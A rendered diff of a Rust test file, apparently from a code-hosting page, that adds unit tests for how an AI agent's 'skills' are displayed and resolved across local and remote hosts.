|
||||
|
||||
use super::{
|
||||
format_upload_artifact_text, parsed_skill_for_common_locations, read_skill_display_text,
|
||||
};
|
||||
use crate::ai::agent::UploadArtifactResult;
|
||||
|
||||
use super::format_upload_artifact_text;
|
||||
use crate::ai::skills::SkillManager;
|
||||
use crate::settings::AISettings;
|
||||
use crate::warp_managed_paths_watcher::WarpManagedPathsWatcher;
|
||||
|
||||
#[test]
|
||||
fn format_upload_artifact_text_includes_request_details() {
|
||||
@@ -63,3 +76,135 @@ fn format_upload_artifact_text_includes_terminal_status() {
|
||||
format_upload_artifact_text(&request, Some(&UploadArtifactResult::Cancelled));
|
||||
assert_eq!(cancelled_text, "Upload artifact: reports/daily.txt");
|
||||
}
|
||||
|
||||
fn make_skill(name: &str) -> ParsedSkill {
|
||||
ParsedSkill {
|
||||
name: name.to_string(),
|
||||
description: String::new(),
|
||||
path: LocalOrRemotePath::Local(
|
||||
std::path::PathBuf::from("/home/user/.agents/skills")
|
||||
.join(name)
|
||||
.join("SKILL.md"),
|
||||
),
|
||||
content: String::new(),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Agents,
|
||||
scope: SkillScope::Home,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_skill_display_text_shows_slash_command_when_skill_found() {
|
||||
let skill = make_skill("hello-world");
|
||||
let reference = SkillReference::Path(skill.path.clone());
|
||||
assert_eq!(
|
||||
read_skill_display_text(Some(&skill), &reference),
|
||||
"/hello-world"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_skill_display_text_no_double_slash_when_skill_not_found_with_path_reference() {
|
||||
// When the skill is not in the manager the fallback is skill_reference.to_string(),
|
||||
// which for a path reference is an absolute path starting with '/'. The display
|
||||
// text must NOT prepend an extra '/' — doing so would produce '//home/…'.
|
||||
let path = LocalOrRemotePath::Local(std::path::PathBuf::from(
|
||||
"/home/devbox/.warp-local/skills/hello-world/SKILL.md",
|
||||
));
|
||||
let reference = SkillReference::Path(path);
|
||||
let display = read_skill_display_text(None, &reference);
|
||||
assert!(
|
||||
!display.starts_with("//"),
|
||||
"display text must not start with '//': {display}"
|
||||
);
|
||||
assert!(
|
||||
display.starts_with('/'),
|
||||
"display text should start with '/': {display}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_skill_display_text_bundled_id_fallback_when_skill_not_found() {
|
||||
let reference = SkillReference::BundledSkillId("create-pr".to_string());
|
||||
let display = read_skill_display_text(None, &reference);
|
||||
assert_eq!(display, "@warp-skill:create-pr");
|
||||
}
|
||||
|
||||
fn remote_location(host_id: &HostId, path: &str) -> LocalOrRemotePath {
|
||||
LocalOrRemotePath::Remote(RemotePath::new(
|
||||
host_id.clone(),
|
||||
StandardizedPath::try_new(path).unwrap(),
|
||||
))
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parsed_skill_for_common_locations_resolves_cached_remote_skill() {
|
||||
let host_id = HostId::new("remote-host".to_string());
|
||||
let skill = ParsedSkill {
|
||||
name: "deploy".to_string(),
|
||||
description: "Deploy skill".to_string(),
|
||||
path: remote_location(&host_id, "/repo/.agents/skills/deploy/SKILL.md"),
|
||||
content: "# Deploy".to_string(),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Agents,
|
||||
scope: SkillScope::Project,
|
||||
};
|
||||
let locations = vec![
|
||||
remote_location(&host_id, "/repo/.agents/skills/deploy/README.md"),
|
||||
remote_location(&host_id, "/repo/.agents/skills/deploy/scripts/run.sh"),
|
||||
];
|
||||
|
||||
App::test((), |mut app| async move {
|
||||
app.add_singleton_model(DirectoryWatcher::new);
|
||||
app.add_singleton_model(AISettings::new_with_defaults);
|
||||
app.add_singleton_model(|_| DetectedRepositories::default());
|
||||
app.add_singleton_model(RepoMetadataModel::new);
|
||||
app.add_singleton_model(HomeDirectoryWatcher::new_for_test);
|
||||
app.add_singleton_model(WarpManagedPathsWatcher::new_for_testing);
|
||||
let manager = app.add_singleton_model(SkillManager::new);
|
||||
manager.update(&mut app, |manager, _| {
|
||||
manager.add_skill_for_testing(skill.clone());
|
||||
});
|
||||
|
||||
let resolved = manager.read(&app, |_, ctx| {
|
||||
parsed_skill_for_common_locations(locations, ctx).map(|skill| skill.path.clone())
|
||||
});
|
||||
assert_eq!(resolved, Some(skill.path));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parsed_skill_for_common_locations_does_not_mix_remote_hosts() {
|
||||
let first_host = HostId::new("first-host".to_string());
|
||||
let second_host = HostId::new("second-host".to_string());
|
||||
let skill = ParsedSkill {
|
||||
name: "deploy".to_string(),
|
||||
description: "Deploy skill".to_string(),
|
||||
path: remote_location(&first_host, "/repo/.agents/skills/deploy/SKILL.md"),
|
||||
content: "# Deploy".to_string(),
|
||||
line_range: None,
|
||||
provider: SkillProvider::Agents,
|
||||
scope: SkillScope::Project,
|
||||
};
|
||||
let locations = vec![
|
||||
remote_location(&first_host, "/repo/.agents/skills/deploy/README.md"),
|
||||
remote_location(&second_host, "/repo/.agents/skills/deploy/README.md"),
|
||||
];
|
||||
|
||||
App::test((), |mut app| async move {
|
||||
app.add_singleton_model(DirectoryWatcher::new);
|
||||
app.add_singleton_model(AISettings::new_with_defaults);
|
||||
app.add_singleton_model(|_| DetectedRepositories::default());
|
||||
app.add_singleton_model(RepoMetadataModel::new);
|
||||
app.add_singleton_model(HomeDirectoryWatcher::new_for_test);
|
||||
app.add_singleton_model(WarpManagedPathsWatcher::new_for_testing);
|
||||
let manager = app.add_singleton_model(SkillManager::new);
|
||||
manager.update(&mut app, |manager, _| {
|
||||
manager.add_skill_for_testing(skill);
|
||||
});
|
||||
|
||||
assert!(manager.read(&app, |_, ctx| {
|
||||
parsed_skill_for_common_locations(locations, ctx).is_none()
|
||||
}));
|
||||
});
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user